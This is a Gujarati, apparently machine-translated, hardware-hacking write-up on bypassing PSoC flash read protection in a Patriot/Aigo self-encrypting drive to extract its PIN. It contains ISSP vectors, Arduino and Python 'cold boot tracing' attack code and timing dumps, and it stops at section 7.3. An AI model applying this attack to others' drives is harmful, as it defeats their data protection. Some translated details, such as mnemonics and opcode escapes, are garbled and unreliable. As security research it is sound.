બાહ્ય સ્વ-એન્ક્રિપ્ટીંગ ડ્રાઈવોને હેક કરવા વિશેના લેખનો આ બીજો અને અંતિમ ભાગ છે. હું તમને યાદ અપાવી દઉં કે તાજેતરમાં એક સાથીદાર મારા માટે પેટ્રિયોટ (Aigo) SK8671 હાર્ડ ડ્રાઈવ લાવ્યો, અને મેં તેને રિવર્સ કરવાનું નક્કી કર્યું, અને હવે હું તેમાંથી જે બહાર આવ્યું તે શેર કરી રહ્યો છું. આગળ વાંચતા પહેલા, અવશ્ય વાંચો પ્રથમ ભાગ લેખ.

4. અમે આંતરિક PSoC ફ્લેશ ડ્રાઇવમાંથી ડમ્પ લેવાનું શરૂ કરીએ છીએ
5. ISSP પ્રોટોકોલ
- 5.1. ISSP શું છે
– 5.2. ડિમિસ્ટિફાઇંગ વેક્ટર્સ
– 5.3. PSoC સાથે સંચાર
– 5.4. ઓન-ચીપ રજીસ્ટરની ઓળખ
– 5.5. સુરક્ષા બિટ્સ
6. પ્રથમ (નિષ્ફળ) હુમલો: ROMX
7. બીજો હુમલો: કોલ્ડ બૂટ ટ્રેસિંગ
– 7.1. અમલીકરણ
- 7.2. પરિણામ વાંચી રહ્યા છીએ
– 7.3. ફ્લેશ બાઈનરી પુનઃનિર્માણ
– 7.4. PIN કોડ સ્ટોરેજ સરનામું શોધવું
- 7.5. બ્લોક નંબર 126નો ડમ્પ લેવો
– 7.6. PIN કોડ પુનઃપ્રાપ્તિ
8. આગળ શું છે?
9. નિષ્કર્ષ

4. અમે આંતરિક PSoC ફ્લેશ ડ્રાઇવમાંથી ડમ્પ લેવાનું શરૂ કરીએ છીએ

તેથી, બધું સૂચવે છે (જેમ કે આપણે [પ્રથમ ભાગમાં]() માં સ્થાપિત કર્યું છે) કે PIN કોડ PSoC ની ફ્લેશ ઊંડાણોમાં સંગ્રહિત છે. તેથી, આપણે આ ફ્લેશ ઊંડાણો વાંચવાની જરૂર છે. જરૂરી કામની આગળ:

• માઇક્રોકન્ટ્રોલર સાથે "સંચાર" પર નિયંત્રણ લો;
• આ "સંચાર" બહારથી વાંચવાથી સુરક્ષિત છે કે કેમ તે તપાસવાનો માર્ગ શોધો;
• સંરક્ષણને બાયપાસ કરવાનો માર્ગ શોધો.

ત્યાં બે સ્થાનો છે જ્યાં માન્ય પિન કોડ શોધવાનો અર્થ થાય છે:

• આંતરિક ફ્લેશ મેમરી;
• SRAM, જ્યાં વપરાશકર્તા દ્વારા દાખલ કરેલ પિન કોડ સાથે તેની સરખામણી કરવા માટે પિન કોડ સંગ્રહિત કરી શકાય છે.

આગળ જોતાં, હું નોંધ કરીશ કે ISSP પ્રોટોકોલની બિનદસ્તાવેજીકૃત ક્ષમતાઓને ઉલટાવ્યા પછી - "કોલ્ડ બૂટ ટ્રેસિંગ" નામના હાર્ડવેર હુમલાનો ઉપયોગ કરીને તેની સુરક્ષા સિસ્ટમને બાયપાસ કરીને - હું હજી પણ આંતરિક PSoC ફ્લેશ ડ્રાઇવનો ડમ્પ લેવામાં વ્યવસ્થાપિત છું. આનાથી મને વાસ્તવિક પિન કોડ સીધો ડમ્પ કરવાની મંજૂરી મળી.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

અંતિમ પ્રોગ્રામ કોડ:

• HSSP માટે Arduino કોડ;
• પાયથોન ડ્રાઈવર અને ISSP ડિસએસેમ્બલર.

5. ISSP પ્રોટોકોલ

5.1. ISSP શું છે

માઇક્રોકન્ટ્રોલર સાથે "સંચાર" નો અર્થ અલગ અલગ વસ્તુઓ હોઈ શકે છે: "વિક્રેતાથી વિક્રેતા" થી સીરીયલ પ્રોટોકોલનો ઉપયોગ કરીને ક્રિયાપ્રતિક્રિયા સુધી (ઉદાહરણ તરીકે, માઇક્રોચિપના PIC માટે ICSP).

આ માટે સાયપ્રસનો પોતાનો માલિકીનો પ્રોટોકોલ છે, જેને ISSP (ઈન-સિસ્ટમ સીરીયલ પ્રોગ્રામિંગ પ્રોટોકોલ) કહેવાય છે, જેનું આંશિક રીતે વર્ણન કરવામાં આવ્યું છે. ટેકનિકલ સ્પષ્ટીકરણ. પેટન્ટ US7185162 કેટલીક માહિતી પણ આપે છે. HSSP નામનું એક ઓપનસોર્સ સમકક્ષ પણ છે (અમે તેનો થોડા સમય પછી ઉપયોગ કરીશું). ISSP નીચે પ્રમાણે કામ કરે છે:

• PSoC રીબૂટ કરો;
• આ PSoC ના સીરીયલ ડેટા પિન પર જાદુઈ નંબર આઉટપુટ કરો; બાહ્ય પ્રોગ્રામિંગ મોડ દાખલ કરવા માટે;
• આદેશો મોકલો, જે "વેક્ટર" તરીકે ઓળખાતી લાંબી બીટ સ્ટ્રીંગ છે.

ISSP દસ્તાવેજીકરણ આ વેક્ટર્સને માત્ર થોડા મુઠ્ઠીભર આદેશો માટે વ્યાખ્યાયિત કરે છે:

• પ્રારંભ-1
• પ્રારંભ-2
• ઇનિશિયલાઇઝ-3 (3V અને 5V વિકલ્પો)
• ID-SETUP
• READ-ID-WORD
• SET-BLOCK-NUM: 10011111010dddddd111, જ્યાં dddddddd=block #
• બલ્ક ઇરેઝ
• પ્રોગ્રામ-બ્લોક
• ચકાસો-સેટઅપ
• READ-BYTE: 10110aaaaaZDDDDDDDZ1, જ્યાં DDDDDDDD = ડેટા આઉટ, aaaaaa = સરનામું (6 બિટ્સ)
• WRITE-BYTE: 10010aaaaaddddddd111, જ્યાં dddddddd = ડેટા ઇન, aaaaaa = સરનામું (6 બિટ્સ)
• સુરક્ષિત
• ચેકસમ-સેટઅપ
• વાંચો-ચેકસમ: 10111111001ZDDDDDDDZ110111111000ZDDDDDDDDZ1, જ્યાં DDDDDDDDDDDDDDDDD = ડેટા આઉટ: ઉપકરણ ચેકસમ
• બ્લોક ભૂંસી નાખો

ઉદાહરણ તરીકે, Initialize-2 માટે વેક્ટર:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

બધા વેક્ટરની લંબાઈ સમાન છે: 22 બિટ્સ. HSSP દસ્તાવેજીકરણમાં ISSP પર કેટલીક વધારાની માહિતી છે: "એક ISSP વેક્ટર એ સૂચનોના સમૂહને રજૂ કરતી થોડી ક્રમ સિવાય બીજું કંઈ નથી."

5.2. ડિમિસ્ટિફાઇંગ વેક્ટર્સ

ચાલો જાણીએ કે અહીં શું થઈ રહ્યું છે. શરૂઆતમાં, મેં ધાર્યું કે આ જ વેક્ટર M8C સૂચનાઓના કાચા સંસ્કરણો છે, પરંતુ આ પૂર્વધારણા તપાસ્યા પછી, મેં શોધ્યું કે ઑપરેશનના ઑપકોડ મેળ ખાતા નથી.

પછી મેં ઉપરના વેક્ટરને ગૂગલ કર્યું અને આજુબાજુ આવ્યો આ એક અભ્યાસ જ્યાં લેખક, જો કે તે વિગતવાર નથી જતા, કેટલીક ઉપયોગી ટીપ્સ આપે છે: “દરેક સૂચના ત્રણ બિટ્સથી શરૂ થાય છે જે ચાર સ્મૃતિશાસ્ત્રમાંથી એકને અનુરૂપ હોય છે (RAM થી વાંચો, RAM પર લખો, રજિસ્ટર વાંચો, રજિસ્ટર લખો). પછી ત્યાં 8 એડ્રેસ બિટ્સ છે, ત્યારબાદ 8 ડેટા બિટ્સ (વાંચવા અથવા લખવા) અને અંતે ત્રણ સ્ટોપ બિટ્સ છે.

પછી હું સુપરવાઇઝરી ROM (SROM) વિભાગમાંથી કેટલીક ખૂબ જ ઉપયોગી માહિતી મેળવવામાં સક્ષમ હતો. તકનીકી માર્ગદર્શિકા. SROM એ PSoC માં હાર્ડ-કોડેડ ROM છે જે યુઝર સ્પેસમાં ચાલતા પ્રોગ્રામ કોડ માટે યુટિલિટી ફંક્શન્સ (Syscall જેવી રીતે) પ્રદાન કરે છે:

• 00h:SWBootReset
• 01h: રીડબ્લોક
• 02h: WriteBlock
• 03 કલાક: ઇરેઝબ્લોક
• 06h: ટેબલરીડ
• 07 કલાક: ચેકસમ
• 08h: કેલિબ્રેટ0
• 09h: કેલિબ્રેટ1

વેક્ટર નામોની SROM ફંક્શન્સ સાથે સરખામણી કરીને, અમે આ પ્રોટોકોલ દ્વારા સમર્થિત વિવિધ કામગીરીને અપેક્ષિત SROM પરિમાણો સાથે મેપ કરી શકીએ છીએ. આનો આભાર, અમે ISSP વેક્ટરના પ્રથમ ત્રણ બિટ્સને ડીકોડ કરી શકીએ છીએ:

• 100 => "વર્મ"
• 101 => "rdmem"
• 110 => "રહેજ"
• 111 => "rdreg"

જો કે, ઓન-ચિપ પ્રક્રિયાઓની સંપૂર્ણ સમજ માત્ર PSoC સાથે સીધા સંચાર દ્વારા મેળવી શકાય છે.

5.3. PSoC સાથે સંચાર

ડર્ક Petrautsky પહેલેથી જ છે પોર્ટેડ Arduino પર સાયપ્રેસનો HSSP કોડ, મેં કીબોર્ડ બોર્ડના ISSP કનેક્ટર સાથે કનેક્ટ કરવા માટે Arduino Uno નો ઉપયોગ કર્યો.

મહેરબાની કરીને નોંધ કરો કે મારા સંશોધન દરમિયાન, મેં ડર્કના કોડમાં થોડો ફેરફાર કર્યો છે. તમે GitHub પર મારા ફેરફાર શોધી શકો છો: અહીં અને મારા રિપોઝીટરીમાં, Arduino સાથે વાતચીત કરવા માટે અનુરૂપ પાયથોન સ્ક્રિપ્ટ cypress_psoc_tools.

તેથી, Arduino નો ઉપયોગ કરીને, મેં પ્રથમ "સંચાર" માટે ફક્ત "સત્તાવાર" વેક્ટરનો ઉપયોગ કર્યો. મેં VERIFY આદેશનો ઉપયોગ કરીને આંતરિક ROM વાંચવાનો પ્રયાસ કર્યો. અપેક્ષા મુજબ, હું આ કરવા માટે અસમર્થ હતો. કદાચ એ હકીકતને કારણે કે રીડ પ્રોટેક્શન બિટ્સ ફ્લેશ ડ્રાઇવની અંદર સક્રિય થાય છે.

પછી મેં મેમરી/રજીસ્ટર લખવા અને વાંચવા માટે મારા પોતાના કેટલાક સરળ વેક્ટર બનાવ્યા. મહેરબાની કરીને નોંધ કરો કે ફ્લેશ ડ્રાઇવ સુરક્ષિત હોવા છતાં અમે આખું SROM વાંચી શકીએ છીએ!

5.4. ઓન-ચીપ રજીસ્ટરની ઓળખ

"ડિસેમ્બલ" વેક્ટર્સને જોયા પછી, મેં શોધ્યું કે ઉપકરણ M0C ઓપકોડ્સનો ઉલ્લેખ કરવા માટે બિનદસ્તાવેજીકૃત રજિસ્ટર (8xF0-8xFA) નો ઉપયોગ કરે છે, જે સુરક્ષાને બાયપાસ કરીને સીધા જ એક્ઝિક્યુટ કરવામાં આવે છે. આનાથી મને "ADD", "MOV A, X", "PUSH" અથવા "JMP" જેવા વિવિધ ઓપકોડ ચલાવવાની મંજૂરી મળી. તેમના માટે આભાર (રજિસ્ટરો પર તેમની આડ અસરો જોઈને) હું એ નક્કી કરી શક્યો કે બિનદસ્તાવેજીકૃત રજીસ્ટરોમાંથી કયા ખરેખર નિયમિત રજિસ્ટર હતા (A, X, SP અને PC).

પરિણામે, HSSP_disas.rb ટૂલ દ્વારા જનરેટ થયેલ “ડિસેમ્બલ” કોડ આના જેવો દેખાય છે (મેં સ્પષ્ટતા માટે ટિપ્પણીઓ ઉમેરી છે):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. સુરક્ષા બિટ્સ

આ તબક્કે હું પહેલેથી જ PSoC સાથે વાતચીત કરી શકું છું, પરંતુ મારી પાસે હજુ પણ ફ્લેશ ડ્રાઇવના સુરક્ષા બિટ્સ વિશે વિશ્વસનીય માહિતી નથી. મને એ હકીકતથી ખૂબ જ આશ્ચર્ય થયું કે સાયપ્રસ ઉપકરણના વપરાશકર્તાને સુરક્ષા સક્રિય છે કે કેમ તે તપાસવા માટે કોઈપણ માધ્યમ પ્રદાન કરતું નથી. આખરે સમજવા માટે મેં Google માં ઊંડાણપૂર્વક શોધ્યું કે સાયપ્રસ દ્વારા પ્રદાન કરવામાં આવેલ HSSP કોડ ડર્કે તેના ફેરફારને બહાર પાડ્યા પછી અપડેટ કરવામાં આવ્યો હતો. અને તેથી! આ નવું વેક્ટર દેખાયું છે:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

આ વેક્ટરનો ઉપયોગ કરીને (psoc.py માં read_security_data જુઓ), અમને SRAM માં 0x80 પર તમામ સુરક્ષા બિટ્સ મળે છે, જ્યાં સંરક્ષિત બ્લોક દીઠ બે બિટ્સ છે.

પરિણામ નિરાશાજનક છે: બધું "બાહ્ય વાંચન અને લેખન અક્ષમ કરો" મોડમાં સુરક્ષિત છે. તેથી, આપણે ફક્ત ફ્લેશ ડ્રાઇવમાંથી કંઈપણ વાંચી શકતા નથી, પરંતુ આપણે કંઈપણ લખી શકતા નથી (ઉદાહરણ તરીકે, ત્યાં ROM ડમ્પર ઇન્સ્ટોલ કરવા માટે). અને સંરક્ષણને અક્ષમ કરવાનો એકમાત્ર રસ્તો એ છે કે સમગ્ર ચિપને સંપૂર્ણપણે ભૂંસી નાખવી. 🙁

6. પ્રથમ (નિષ્ફળ) હુમલો: ROMX

જો કે, અમે નીચેની યુક્તિ અજમાવી શકીએ છીએ: અમારી પાસે મનસ્વી ઓપકોડ ચલાવવાની ક્ષમતા હોવાથી, શા માટે ROMX ને એક્ઝિક્યુટ ન કરીએ, જેનો ઉપયોગ ફ્લેશ મેમરી વાંચવા માટે થાય છે? આ અભિગમમાં સફળતાની સારી તક છે. કારણ કે રીડબ્લોક ફંક્શન કે જે SROM (જે વેક્ટર દ્વારા ઉપયોગમાં લેવાય છે) માંથી ડેટા વાંચે છે તે તપાસે છે કે તેને ISSP માંથી બોલાવવામાં આવ્યો છે કે કેમ. જો કે, ROMX ઓપકોડમાં કદાચ આવી તપાસ ન પણ હોય. તો અહીં Python કોડ છે (Arduino કોડમાં થોડા સહાયક વર્ગો ઉમેર્યા પછી):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

કમનસીબે આ કોડ કામ કરતું નથી. 🙁 અથવા તેના બદલે તે કામ કરે છે, પરંતુ આઉટપુટ પર આપણને આપણા પોતાના ઓપકોડ્સ મળે છે (0x28 0x30 0x40)! મને નથી લાગતું કે ઉપકરણની અનુરૂપ કાર્યક્ષમતા એ રીડ પ્રોટેક્શનનું એક તત્વ છે. આ એક એન્જિનિયરિંગ યુક્તિ જેવું છે: જ્યારે બાહ્ય opcodes એક્ઝિક્યુટ કરવામાં આવે છે, ત્યારે ROM બસને કામચલાઉ બફર પર રીડાયરેક્ટ કરવામાં આવે છે.

7. બીજો હુમલો: કોલ્ડ બૂટ ટ્રેસિંગ

ROMX યુક્તિ કામ કરતી ન હોવાથી, મેં આ યુક્તિની બીજી વિવિધતા વિશે વિચારવાનું શરૂ કર્યું - પ્રકાશનમાં વર્ણવેલ "માઈક્રોકન્ટ્રોલરના ફર્મવેર પ્રોટેક્શન પર વધુ પડતો પ્રકાશ પાડવો".

7.1. અમલીકરણ

ISSP દસ્તાવેજીકરણ CHECKSUM-SETUP માટે નીચેના વેક્ટર પ્રદાન કરે છે:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

આ આવશ્યકપણે SROM ફંક્શન 0x07 કહે છે, જેમ કે દસ્તાવેજીકરણમાં રજૂ કરવામાં આવ્યું છે (ઇટાલિક્સ માઇન):

આ કાર્ય ચેકસમ ચકાસણી. તે શૂન્યથી શરૂ કરીને, એક ફ્લેશ બેંકમાં વપરાશકર્તા-નિર્દિષ્ટ બ્લોક્સની સંખ્યાના 16-બીટ ચેકસમની ગણતરી કરે છે. BLOCKID પરિમાણનો ઉપયોગ બ્લોક્સની સંખ્યાને પસાર કરવા માટે થાય છે જેનો ઉપયોગ ચેકસમની ગણતરી કરતી વખતે કરવામાં આવશે. "1" નું મૂલ્ય માત્ર બ્લોક શૂન્ય માટે ચેકસમની ગણતરી કરશે; જ્યારે "0" ના કારણે ફ્લેશ બેંકના તમામ 256 બ્લોકની કુલ ચેકસમની ગણતરી કરવામાં આવશે. 16-બીટ ચેકસમ KEY1 અને KEY2 દ્વારા પરત કરવામાં આવે છે. KEY1 પેરામીટર ચેકસમના લો-ઓર્ડર 8 બિટ્સ સ્ટોર કરે છે, અને KEY2 પેરામીટર હાઈ-ઓર્ડર 8 બિટ્સ સ્ટોર કરે છે. ઘણી ફ્લેશ બેંકો ધરાવતા ઉપકરણો માટે, ચેકસમ ફંક્શન દરેક માટે અલગથી બોલાવવામાં આવે છે. બેંક નંબર જેની સાથે તે કામ કરશે તે FLS_PR1 રજિસ્ટર દ્વારા સેટ કરવામાં આવે છે (લક્ષ્ય ફ્લેશ બેંકને અનુરૂપ તેમાં બીટ સેટ કરીને).

નોંધ કરો કે આ એક સરળ ચેકસમ છે: બાઇટ્સ એક પછી એક સરળ રીતે ઉમેરવામાં આવે છે; કોઈ ફેન્સી CRC quirks નથી. વધુમાં, એ જાણીને કે M8C કોરમાં રજિસ્ટર્સનો ખૂબ જ નાનો સમૂહ છે, મેં ધાર્યું કે ચેકસમની ગણતરી કરતી વખતે, મધ્યવર્તી મૂલ્યો સમાન ચલોમાં રેકોર્ડ કરવામાં આવશે જે આખરે આઉટપુટ પર જશે: KEY1 (0xF8) / KEY2 ( 0xF9).

તેથી સિદ્ધાંતમાં મારો હુમલો આના જેવો દેખાય છે:

1. અમે ISSP દ્વારા કનેક્ટ કરીએ છીએ.
2. અમે CHECKSUM-SETUP વેક્ટરનો ઉપયોગ કરીને ચેકસમ ગણતરી શરૂ કરીએ છીએ.
3. અમે નિર્દિષ્ટ સમય T પછી પ્રોસેસરને રીબૂટ કરીએ છીએ.
4. વર્તમાન ચેકસમ C મેળવવા માટે અમે RAM વાંચીએ છીએ.
5. દર વખતે T ને થોડો વધારતા પગલાં 3 અને 4 નું પુનરાવર્તન કરો.
6. અમે અગાઉના ચેકસમ C ને વર્તમાનમાંથી બાદ કરીને ફ્લેશ ડ્રાઇવમાંથી ડેટા પુનઃપ્રાપ્ત કરીએ છીએ.

જો કે, ત્યાં એક સમસ્યા છે: Initialize-1 વેક્ટર કે જે આપણે રીબૂટ કર્યા પછી મોકલવું જોઈએ તે KEY1 અને KEY2 પર ફરીથી લખે છે:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

આ કોડ કેલિબ્રેટ1 (SROM ફંક્શન 9) પર કૉલ કરીને અમારા કિંમતી ચેકસમને ઓવરરાઇટ કરે છે... કદાચ આપણે પ્રોગ્રામિંગ મોડમાં પ્રવેશવા માટે મેજિક નંબર (ઉપરના કોડની શરૂઆતથી) મોકલી શકીએ, અને પછી SRAM વાંચી શકીએ? અને હા, તે કામ કરે છે! Arduino કોડ કે જે આ હુમલાને અમલમાં મૂકે છે તે એકદમ સરળ છે:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

1. ચેકમ_વિલંબ વાંચો.
2. ચેકસમ ગણતરી ચલાવો (send_checksum_v).
3. ચોક્કસ સમયગાળા માટે રાહ જુઓ; નીચેના ક્ષતિઓને ધ્યાનમાં લેતા:
   • જ્યાં સુધી મને ખબર ન પડી કે તે શું થાય છે ત્યાં સુધી મેં ઘણો સમય બગાડ્યો માઇક્રોસેકન્ડનો વિલંબ 16383 μs કરતાં વધુ ન હોય તેવા વિલંબ સાથે જ યોગ્ય રીતે કાર્ય કરે છે;
   • અને પછી ફરીથી એટલો જ સમય કાઢી નાખ્યો જ્યાં સુધી મને ખબર ન પડી કે માઇક્રોસેકન્ડમાં વિલંબ થાય છે, જો 0 ઇનપુટ તરીકે તેને પસાર કરવામાં આવે છે, તો તે સંપૂર્ણપણે ખોટી રીતે કાર્ય કરે છે!
4. PSoC ને પ્રોગ્રામિંગ મોડમાં રીબૂટ કરો (અમે ફક્ત જાદુઈ નંબર મોકલીએ છીએ, પ્રારંભિક વેક્ટર મોકલ્યા વિના).

પાયથોનમાં અંતિમ કોડ:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

ટૂંકમાં, આ કોડ શું કરે છે:

1. PSoC રીબૂટ કરે છે (અને તેને જાદુઈ નંબર મોકલે છે).
2. સંપૂર્ણ પ્રારંભિક વેક્ટર મોકલે છે.
3. Arduino ફંક્શનને Cmnd_STK_START_CSUM (0x85) કૉલ કરે છે, જ્યાં માઇક્રોસેકન્ડમાં વિલંબ પેરામીટર તરીકે પસાર થાય છે.
4. ચેકસમ (0xF8 અને 0xF9) અને બિનદસ્તાવેજીકૃત રજીસ્ટર 0xF1 વાંચે છે.

આ કોડ 10 માઇક્રોસેકન્ડમાં 1 વખત એક્ઝિક્યુટ થાય છે. 0xF1 અહીં સમાવવામાં આવેલ છે કારણ કે તે એકમાત્ર રજીસ્ટર હતું જે ચેકસમની ગણતરી કરતી વખતે બદલાયું હતું. કદાચ તે અંકગણિત તર્ક એકમ દ્વારા ઉપયોગમાં લેવાતું અમુક પ્રકારનું કામચલાઉ ચલ છે. જ્યારે Arduino જીવનના ચિહ્નો દર્શાવવાનું બંધ કરે ત્યારે પિકોકોમનો ઉપયોગ કરીને હું Arduino ને રીસેટ કરવા માટે ઉપયોગમાં લેવાતા નીચ હેકની નોંધ લો (શા માટે ખબર નથી).

7.2. પરિણામ વાંચી રહ્યા છીએ

પાયથોન સ્ક્રિપ્ટનું પરિણામ આના જેવું દેખાય છે (વાંચી શકાય તે માટે સરળ):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

એવું કહેવામાં આવે છે કે, અમને એક સમસ્યા છે: કારણ કે અમે વાસ્તવિક ચેકસમ સાથે કામ કરી રહ્યા છીએ, નલ બાઈટ વાંચેલા મૂલ્યને બદલતું નથી. જો કે, સમગ્ર ગણતરી પ્રક્રિયા (8192 બાઇટ્સ) 0,1478 સેકન્ડ લે છે (દરેક વખતે તે ચલાવવામાં આવે ત્યારે સહેજ ભિન્નતા સાથે), જે લગભગ 18,04 μs પ્રતિ બાઇટ જેટલી થાય છે, અમે યોગ્ય સમયે ચેકસમ મૂલ્યને તપાસવા માટે આ સમયનો ઉપયોગ કરી શકીએ છીએ. પ્રથમ રન માટે, બધું ખૂબ સરળતાથી વાંચવામાં આવે છે, કારણ કે કોમ્પ્યુટેશનલ પ્રક્રિયાની અવધિ હંમેશા લગભગ સમાન હોય છે. જો કે, આ ડમ્પનો અંત ઓછો સચોટ છે કારણ કે દરેક રન પર "નાના સમયના વિચલનો" નોંધપાત્ર બની જાય છે:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

તે દરેક માઇક્રોસેકન્ડના વિલંબ માટે 10 ડમ્પ છે. ફ્લેશ ડ્રાઇવના તમામ 8192 બાઇટ્સ ડમ્પ કરવા માટેનો કુલ ઓપરેટિંગ સમય લગભગ 48 કલાકનો છે.

7.3. ફ્લેશ બાઈનરી પુનઃનિર્માણ

મેં હજી સુધી કોડ લખવાનું પૂર્ણ કર્યું નથી જે તમામ સમયના વિચલનોને ધ્યાનમાં લેતા, ફ્લેશ ડ્રાઇવના પ્રોગ્રામ કોડને સંપૂર્ણપણે પુનઃનિર્માણ કરશે. જો કે, મેં આ કોડની શરૂઆત પહેલાથી જ પુનઃસ્થાપિત કરી છે. મેં તે યોગ્ય રીતે કર્યું તેની ખાતરી કરવા માટે, મેં તેને m8cdis નો ઉપયોગ કરીને ડિસએસેમ્બલ કર્યું:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
